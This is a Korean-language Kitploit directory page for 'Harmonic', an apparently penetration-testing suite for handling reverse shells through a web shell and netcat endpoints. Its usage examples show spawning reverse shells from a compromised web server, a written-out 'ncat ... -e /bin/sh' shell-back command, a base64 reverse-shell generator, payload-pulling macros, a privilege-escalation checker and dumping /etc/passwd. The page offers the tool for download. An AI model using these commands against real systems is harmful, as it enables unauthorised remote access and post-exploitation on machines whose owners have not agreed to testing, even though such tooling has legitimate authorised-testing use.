Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Harmonic — 네이티브 셸 내에서 작동하도록 설계된 리버스 셸 처리용 스위트 | Kitploit
도구/GitLabGitLab/runik/harmonic
Privilege EscalationScripting & AutomationWeb Application ExploitationInformation GatheringPost-ExploitationPenetration TestingCommand and ControlRemote Access ToolShellcode GenerationPayload Development
168년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitLab
runik/harmonic

Harmonic

네이티브 셸 내에서 작동하도록 설계된 리버스 셸 처리용 스위트

저장소 보기

Harmonic Suite

리눅스에서 리버스 셸을 관리하고 인터페이싱하기 위한 툴셋의 시작 (코드는 아직 빠르고 지저분한 상태이며 예외 처리가 거의 없습니다). UNIX 철학에 강하게 영감을 받아, 기본 아이디어는 임의의 엔드포인트를 처리하는 데몬(connd, 아직 완전한 데몬은 아니지만 별도의 터미널에서 실행 가능)을 두고 해당 엔드포인트에 대해 도구를 실행하는 것입니다.

엔드포인트는 스크립트나 프로세스에 의해 '구동(driven)'되며 파일 시스템에 파일로 노출되고, 그런 다음 얇은 소프트웨어 클라이언트를 사용하여 상호 작용할 수 있지만, 셸 명령어를 사용하여 쓰고 읽는 것도 쉽게 가능합니다. 사실, 셸에서 독립적으로 스크립트를 실행할 수 있는 것이 핵심 설계 요소이며, 이상적으로는 스크립트가 엔드포인트가 존재하는 것에만 의존하지만 함께 조합하여 사용할 수도 있습니다 (서로 연쇄적으로 연결).

현재 엔드포인트 옵션은 다음과 같습니다:

  • nc - 특정 포트에 netcat 엔드포인트 생성
  • wsh - 기본 웹 셸 스크립트와 상호 작용하는 컨텍스트 셸
  • with - 임의의 프로세스를 엔드포인트로 실행

얇은 소프트웨어 클라이언트(hthinc.py)는 시스템의 엔드포인트에 대한 기본 인터페이스를 제공하며, 시스템에 대해 스크립트를 빠르게 실행할 수 있습니다. 몇 가지 기본적이지만 유용한 스크립트가 작성되었습니다:

  • sp - 원격 리눅스 시스템에 대해 열거를 실행하고, 스크립팅 언어를 결정하며(현재는 Python만), 새 엔드포인트를 시작하고 현재 엔드포인트를 통해 새 엔드포인트에 연결하는 대화형 셸을 생성합니다. 드라이버가 지정되면 열거를 건너뛰고 드라이버를 사용하려고 시도합니다.
  • lpc - 엔드포인트를 통해 Linux Priv Escalation Checker 스크립트를 실행합니다.
  • log - 명령어의 출력을 현재 작업 디렉터리에 기록합니다.
  • mac - 엔드포인트에 대해 사전 정의된 매크로를 실행합니다 ($HCROOT/.hcrc 매크로 섹션에 정의됨).
  • pull - wget용 매크로 스크립트로, 포털 디스패치(리눅스)에서 파일을 다운로드합니다.
  • fpull - fetch용 매크로 스크립트로, 포털 디스패치(*BSD)에서 파일을 다운로드합니다.
  • wpinit - Windows 스크립팅 엔진(현재는 VB만)을 열거하고 wpull과 함께 사용할 파일 포털 스크립트를 생성합니다.
  • vbpull - portal.vbs(wpinit 참조) 매크로 스크립트로, 포털 디스패치(Windows)에서 파일을 가져옵니다.
  • pspull - PowerShell을 사용하여 포털 디스패치(Windows)에서 파일을 가져오는 매크로 스크립트입니다.

리버스 셸 드라이버 유형(즉, 원격 시스템에서 셸을 구동하는 것)은 다음과 같습니다(현재 리눅스 지원):

  • php
  • perl
  • fifo
  • python27
  • python3x

기타 스크립트:

  • hgenrsh.py - 실행 중인 프로세스에서 포크할 수 있는 리버스 셸 Python 명령어(압축 및 base64 인코딩)를 생성합니다.
  • hcmd.py - 로컬 환경에서 명령어를 실행합니다.
  • hscr.py - 후크 가능한 스크립트를 실행합니다.
  • hdis.py - 연결을 수신하고 stdin에서 클라이언트로 임의의 데이터를 전송합니다.
  • sys/bin/hpd.py - HTTP 프로토콜을 사용하여 파일을 가져오기 위한 포털 디스패치 서버입니다.

사용 예제

  • 예제에서는 $HCROOT가 이 저장소의 디렉터리를 가리킵니다(아래 구성 참조).
  • connd는 데몬 또는 일반 프로세스로 실행 중입니다.
    • $HCROOT/sys/bin/connd에서 실행할 수 있습니다(먼저 빌드해야 함).

connd에 엔드포인트를 시작하도록 지시하고, wedge 셸 드라이버를 사용하여 시스템 호출을 수행하고 포맷된 응답을 반환하는 제공된 PHP 스크립트와 함께 사용합니다. 하지만 이 한 줄짜리 스크립트는 서버 로그에 코드 주입된 것처럼 쉽게 사용될 수도 있습니다.

$ hconnd.py start wsh http://example.com/hwsh.php
1

이로 인해 엔드포인트 1이 생성되었습니다(두 개의 I/O 파이프 — 실행 하위 디렉터리에서 t1i 및 t1o로 볼 수 있습니다). 이제 hthinc.py를 사용하여 셸과 상호 작용합니다.

$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0

이것이 리눅스 박스임을 알 수 있습니다. wedge된 웹 셸에서 벗어나 적절한 셸을 얻고 싶습니다. 내장 명령어 !help를 실행하면 thinc 도움말 메시지가 표시됩니다. sp 스크립트를 실행할 수 있으며, 이 스크립트는 원격 시스템에 대해 명령어를 자동으로 실행하고, 환경을 열거하고, nc 엔드포인트를 시작하고, 리버스 셸을 생성하고, 새 hthinc.py를 통해 자동으로 드롭인합니다.

runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

또는 (예를 들어) PHP를 드라이버로 사용한다는 것을 알고 있다면 다음과 같이 지정할 수 있습니다:

runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

그리고 TTY가 없는 셸이 있거나 이탈하고 싶다면 기본 매크로 중 하나를 실행할 수 있습니다:

$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$

또한 명령어의 출력을 기록하려면 log 스크립트를 사용할 수 있으며, 현재 작업 디렉터리에 저장됩니다:

$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh

[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0

엔드포인트가 실행 중인 동안에는 연결 프로세스가 데몬에 의해 관리되므로 클라이언트를 연결/분리할 수 있습니다.

빠르게 반복

모든 것을 더 유닉스 방식으로 실행할 수 있기 때문에 셸에서 빠르게 프로세스를 반복할 수 있습니다. 웹 셸 엔드포인트를 시작하고, 엔드포인트 ID를 얻은 다음, 셸에서 엔드포인트에 대해 sp.py 생성기 스크립트를 실행합니다(hthinc.py에서 사용되는 동일한 스크립트이지만 다른 진입점을 사용합니다).

$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

또는 원 라이너로:

$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455

그리고 쉽게 자동화할 수 있습니다:

$ cat reverse.sh 
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh 
<harmonic> basic shell spawner
[+] Running enumeration...
...
$

로컬 환경에서 명령어 실행

hcmd.py 도구를 사용하면 셸에서 엔드포인트를 통해 명령어를 빠르게 실행할 수 있습니다.

$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux

그리고 평소처럼 결과를 파이프하거나 리디렉션할 수 있습니다.

$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

엔드포인트 추적

hconn.py에 list 동사를 사용하여 현재 엔드포인트 목록과 관련된 연결 상태를 볼 수 있습니다.

$ hconn.py list
1 [26616]:	/home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php	
2 [26622]:	nc -lp 4455 	Established -> 10.15.10.4
3 [26659]:	nc -nlvp 4495	Listening

파일로 엔드포인트 작업

wedge 셸 엔드포인트 설정:

$ hconn.py start wsh http://example.com/hwsh.php
1

이제 포트 4444에서 netcat 리스너를 설정할 수 있습니다:

$ hconn.py start nc 4444
2

그런 다음 입력 파일을 통해 wedge 셸 엔드포인트(eid 1)에 씁니다:

$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i

이것은 netcat 리스너로 셸을 다시 보내야 합니다. thin 클라이언트를 netcat 엔드포인트(eid 2)에 연결하면 또 다른 셸이 대기 중인 것을 볼 수 있습니다:

$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

스크립트 실행

셸 인터페이스를 파일로 일반화하면 웹 셸 엔드포인트에 사용된 스크립트가 netcat 리버스 셸 엔드포인트에서도 작동합니다. 절대 경로($HCROOT/share/script/*.py)를 사용하거나 도우미 스크립트 hscr.py를 사용하여 스크립트를 호출할 수 있습니다.

netcat 엔드포인트에 대해 sp.py를 실행하고 또 다른 리버스 셸을 생성할 수 있습니다:

$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$

그리고 절대 경로를 사용한 동등한 명령은 $ $HCROOT/share/script/sp.py 2 4495 127.0.0.1입니다.

또는 웹 셸에 대해 Linux Priv Escalation Checker를 실행할 수 있습니다:

$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished

그리고 hthinc.py 인스턴스 내에서 호출할 수 있습니다:

!run lpc

환경 변수

환경 변수를 사용하여 전역 값을 정의할 수 있습니다. 변수에는 세 가지 수준이 있으며, 각각 다음보다 우선순위가 낮습니다:

  • 리소스
  • 환경/셸
  • 인라인

리소스 파일 변수는 $HCROOT/.hcrc에 정의됩니다. 이것들은 가장 낮은 우선순위이지만 시스템 전체 환경 변수를 오염시키지 않도록 사용할 수 있습니다.

환경/셸 변수는 셸에 의해 프로세스로 가져오며 HCV_ 접두사가 붙습니다. 이것들은 리소스 변수와 병합되며 이미 존재하는 값을 덮어씁니다.

인라인 변수는 이전에 정의된 모든 것을 덮어씁니다.

예제

이 예제에서는 LHOST=127.0.0.1이 .hcrc에서 리소스 변수로 정의되어 있고 스크립트 사용법은 ./script LPORT [LHOST]입니다.

다음 스크립트는 LHOST=127.0.0.1 및 LPORT=4455를 갖게 됩니다(리소스 변수).

$ ./script 4455

다음 스크립트는 LHOST=192.168.1.101 및 LPORT=4455를 갖게 됩니다(셸 변수).

$ HCV_LHOST=192.168.1.101 ./script 4455

다음 스크립트는 LHOST=10.10.10.125를 갖게 됩니다(인라인 변수).

도구 다운로드